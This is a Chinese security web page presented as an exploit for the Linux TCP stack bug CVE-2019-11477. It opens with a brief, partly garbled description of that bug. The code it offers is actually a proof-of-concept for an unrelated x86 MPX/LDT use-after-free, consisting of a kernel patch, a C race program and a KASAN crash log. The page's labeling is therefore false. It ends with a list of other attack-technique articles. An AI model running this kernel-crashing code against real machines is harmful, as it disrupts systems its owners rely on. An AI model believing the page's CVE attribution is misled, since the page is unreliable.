CVE-2019-11477-Linux内核TCP协议栈溢出漏洞exp
摘要:在2019年6月18日,RedHat官方网站发布了一个CVE编号为CVE-2019-11477的漏洞。 此漏洞是底层协议堆栈的整数溢出漏洞,影响Linux内核版本2 6 29及更高版本,理论上可能导致远程拒绝服务漏洞。
漏洞概述
在2019年6月18日,RedHat官方网站发布了一个CVE编号为CVE-2019-11477的漏洞。 此漏洞是底层协议堆栈的整数溢出漏洞,影响Linux内核版本2.6.29及更高版本,理论上可能导致远程拒绝服务。 漏洞。 在我们的团队分析和验证之后,在实际环境中很难触发此漏洞,因此在实际环境中漏洞并不是那么大。
漏洞原则
该漏洞是skb_buff结构的tcp_gso_segs成员中的整数溢出漏洞。 linux内核数据包由skb_buff结构表示。 内核提供NETIF_F_SG(默认开启)和NETIF_F_ UFO,以提高发送数据包的效率。 发送数据包时,小数据包将以类似的片段进行累积。 大量消息统一发送,并由网卡硬件分段。 此时,消息的最大累积长度为32k(x86)或64k(powerpc)。 在代码中,小消息累积队列成员是skb_buff结构的tcp_skb_cb对象,而tcp_gso_segs成员是shot unsight int类型成员,表示小消息的数量。
相关exp如下:
/* When a #BR exception is raised because of an MPX bounds violation, Linux parses the faulting instruction and computes the linear address of its memory operand. If the userspace instruction is in 32-bit code, this involves looking up the correct segment descriptor and adding the segment offset to the address. (Another codepath that computes the linear address of an instruction is UMIP, but I think that requires processors >= Cannon Lake, and my PC isn't that new.) get_desc() locks the mm context, computes the pointer to the LDT entry, but then drops the lock again and returns the pointer. This means that when the caller actually accesses the pointer, the pointer may have been freed already. This bug was introduced in <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=670f928ba09b> ("x86/insn-eval: Add utility function to get segment descriptor", first in 4.15). To make this easier to hit, I patched a sleep into my kernel: ================ diff --git a/arch/x86/lib/insn-eval.c b/arch/x86/lib/insn-eval.c index cf00ab6c66210..5d9c59a28c76f 100644 --- a/arch/x86/lib/insn-eval.c +++ b/arch/x86/lib/insn-eval.c @@ -7,6 +7,7 @@ #include <linux/string.h> #include <linux/ratelimit.h> #include <linux/mmu_context.h> +#include <linux/delay.h> #include <asm/desc_defs.h> #include <asm/desc.h> #include <asm/inat.h> @@ -670,6 +671,8 @@ unsigned long insn_get_seg_base(struct pt_regs *regs, int seg_reg_idx) if (!desc) return -1L; + mdelay(1000); + return get_desc_base(desc); } ================ I also built the kernel with KASAN and full preemption. Then I ran the following test program, compiled with "gcc -m32 -mmpx -fcheck-pointer-bounds -o mpx mpx.c -pthread": =============== */ #define _GNU_SOURCE #include <ucontext.h> #include <stdio.h> #include <signal.h> #include <setjmp.h> #include <sys/prctl.h> #include <err.h> #include <unistd.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <pthread.h> unsigned long blah; void post_bounds_label(void); static void do_ldt(void) { struct user_desc desc = { .entry_number = 0, .base_addr = (unsigned long)&blah, .limit = 0xffffffff, .seg_32bit = 1, .contents = 0, .useable = 1 }; if (syscall(__NR_modify_ldt, 0x11, &desc, sizeof(desc))) err(1, "modify_ldt"); } void *ldt_thread(void *dummy) { while (1) do_ldt(); } jmp_buf jumpy; void handle_segv(int sig, siginfo_t *info, void *uctx_) { if (info->si_addr != &blah) { printf("addr=%p\n", info->si_addr); } ucontext_t *uctx = uctx_; uctx->uc_mcontext.gregs[REG_EIP] = (unsigned long)post_bounds_label; } int main(void) { do_ldt(); pthread_t thread; if (pthread_create(&thread, NULL, ldt_thread, NULL)) err(1, "pthread create"); struct sigaction act = { .sa_sigaction = handle_segv, .sa_flags = SA_NODEFER|SA_SIGINFO }; if (sigaction(SIGSEGV, &act, NULL)) err(1, "sigaction"); while (1) { unsigned long mpx_bounds[2] = { 5, 6 }; unsigned long old_bounds[2]; asm volatile( "bndmov %%bnd0, (%0)\n" "bndmov (%2), %%bnd0\n" "mov %1, %%fs\n" "bndcl %%fs:(%3), %%bnd0\n" "bndcn %%fs:(%3), %%bnd0\n" "post_bounds_label:\n" "bndmov (%0), %%bnd0\n" : /*out*/ : /*in*/ "r"(old_bounds), "r"(0x7), "r"(mpx_bounds), "r"(0x0UL) ); } } /* jannh@laptop:~/mpx$ =============== The program started printing various hex numbers, and I immediately got this KASAN splat: =============== [ 3129.003397] ================================================================== [ 3129.003411] BUG: KASAN: use-after-free in insn_get_seg_base+0x9a/0x110 [ 3129.003416] Read of size 2 at addr ffff8883775da002 by task mpx/13947 [ 3129.003425] CPU: 1 PID: 13947 Comm: mpx Not tainted 5.2.0-rc2+ #10 [ 3129.003427] Hardware name: [...] [ 3129.003429] Call Trace: [ 3129.003436] dump_stack+0x71/0xab [ 3129.003441] ? insn_get_seg_base+0x9a/0x110 [ 3129.003446] print_address_description+0x6a/0x250 [ 3129.003450] ? insn_get_seg_base+0x9a/0x110 [ 3129.003454] ? insn_get_seg_base+0x9a/0x110 [ 3129.003458] __kasan_report+0x14e/0x192 [ 3129.003463] ? insn_get_seg_base+0x9a/0x110 [ 3129.003467] kasan_report+0xe/0x20 [ 3129.003471] insn_get_seg_base+0x9a/0x110 [ 3129.003476] get_seg_base_limit+0x181/0x4a0 [ 3129.003482] insn_get_addr_ref+0x18f/0x490 [ 3129.003486] ? insn_get_opcode.part.4+0x16d/0x350 [ 3129.003490] ? insn_get_modrm_rm_off+0x60/0x60 [ 3129.003496] ? insn_get_modrm.part.5+0xce/0x220 [ 3129.003501] ? insn_get_sib.part.6+0x60/0xc0 [ 3129.003505] ? insn_get_displacement.part.7+0xe3/0x1d0 [ 3129.003509] ? insn_get_immediate.part.8+0x52/0x710 [ 3129.003514] ? preempt_count_sub+0x14/0xc0 [ 3129.003517] ? preempt_count_sub+0x14/0xc0 [ 3129.003523] mpx_fault_info+0x1bc/0x2d0 [ 3129.003528] ? trace_event_raw_event_bounds_exception_mpx+0x170/0x170 [ 3129.003535] ? notify_die+0x7d/0xc0 [ 3129.003539] ? atomic_notifier_call_chain+0x40/0x40 [ 3129.003543] ? __ia32_sys_rt_sigaction+0x1c0/0x1c0 [ 3129.003547] ? preempt_count_sub+0x14/0xc0 [ 3129.003550] ? preempt_count_sub+0x14/0xc0 [ 3129.003556] do_bounds+0x24d/0x350 [ 3129.003560] ? do_double_fault+0x160/0x160 [ 3129.003565] ? fpregs_assert_state_consistent+0x54/0x70 [ 3129.003570] ? bounds+0xa/0x20 [ 3129.003574] bounds+0x14/0x20 [ 3129.003578] RIP: 0023:0x565e98e7 [ 3129.003583] Code: c7 85 64 ff ff ff 06 00 00 00 8d 85 58 ff ff ff b9 07 00 00 00 8d 95 60 ff ff ff bb 00 00 00 00 66 0f 1b 00 66 0f 1a 02 8e e1 <64> f3 0f 1a 03 64 f2 0f 1b 03 66 0f 1a 00 f2 e9 7c ff ff ff 55 89 [ 3129.003585] RSP: 002b:00000000ffdca1f0 EFLAGS: 00010286 [ 3129.003588] RAX: 00000000ffdca230 RBX: 0000000000000000 RCX: 0000000000000007 [ 3129.003591] RDX: 00000000ffdca238 RSI: 0000000000000001 RDI: 00000000ffdca2cc [ 3129.003593] RBP: 00000000ffdca2d8 R08: 0000000000000000 R09: 0000000000000000 [ 3129.003595] R10: 0000000000000000 R11: 0000000000000286 R12: 0000000000000000 [ 3129.003597] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 3129.003606] Allocated by task 13948: [ 3129.003611] save_stack+0x19/0x80 [ 3129.003615] __kasan_kmalloc.constprop.8+0xa0/0xd0 [ 3129.003618] kmem_cache_alloc_trace+0xcc/0x5d0 [ 3129.003622] alloc_ldt_struct+0x39/0xc0 [ 3129.003625] write_ldt+0x236/0x5d0 [ 3129.003628] __ia32_sys_modify_ldt+0x50/0xc0 [ 3129.003632] do_fast_syscall_32+0x112/0x390 [ 3129.003635] entry_SYSENTER_compat+0x7f/0x91 [ 3129.003639] Freed by task 13948: [ 3129.003644] save_stack+0x19/0x80 [ 3129.003647] __kasan_slab_free+0x105/0x150 [ 3129.003650] kfree+0x82/0x120 [ 3129.003653] write_ldt+0x519/0x5d0 [ 3129.003656] __ia32_sys_modify_ldt+0x50/0xc0 [ 3129.003659] do_fast_syscall_32+0x112/0x390 [ 3129.003664] entry_SYSENTER_compat+0x7f/0x91 [ 3129.003669] The buggy address belongs to the object at ffff8883775da000 which belongs to the cache kmalloc-32 of size 32 [ 3129.003674] The buggy address is located 2 bytes inside of 32-byte region [ffff8883775da000, ffff8883775da020) [ 3129.003677] The buggy address belongs to the page: [ 3129.003683] page:ffffea000ddd7680 refcount:1 mapcount:0 mapping:ffff8883d0c00180 index:0xffff8883775dafc1 [ 3129.003686] flags: 0x17fffc000000200(slab) [ 3129.003692] raw: 017fffc000000200 ffffea000f0692c8 ffffea000d4bb988 ffff8883d0c00180 [ 3129.003696] raw: ffff8883775dafc1 ffff8883775da000 000000010000003f 0000000000000000 [ 3129.003698] page dumped because: kasan: bad access detected [ 3129.003701] Memory state around the buggy address: [ 3129.003706] ffff8883775d9f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 3129.003711] ffff8883775d9f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 3129.003715] >ffff8883775da000: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003718] ^ [ 3129.003723] ffff8883775da080: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003727] ffff8883775da100: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003730] ================================================================== [ 3129.003733] Disabling lock debugging due to kernel taint =============== I'll send a suggested patch ("[PATCH] x86/insn-eval: Fix use-after-free access to LDT entry") in a minute. */
相关热词搜索:CVE-2019-11477 协议栈溢出 Linux内核漏洞 exp
上一篇:思科SD-WAN、DNA中心、TelePresence、StarOS等相关产品本地提权漏洞
下一篇:jQuery-File-Upload <= 9.x 远程命令执行漏洞
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了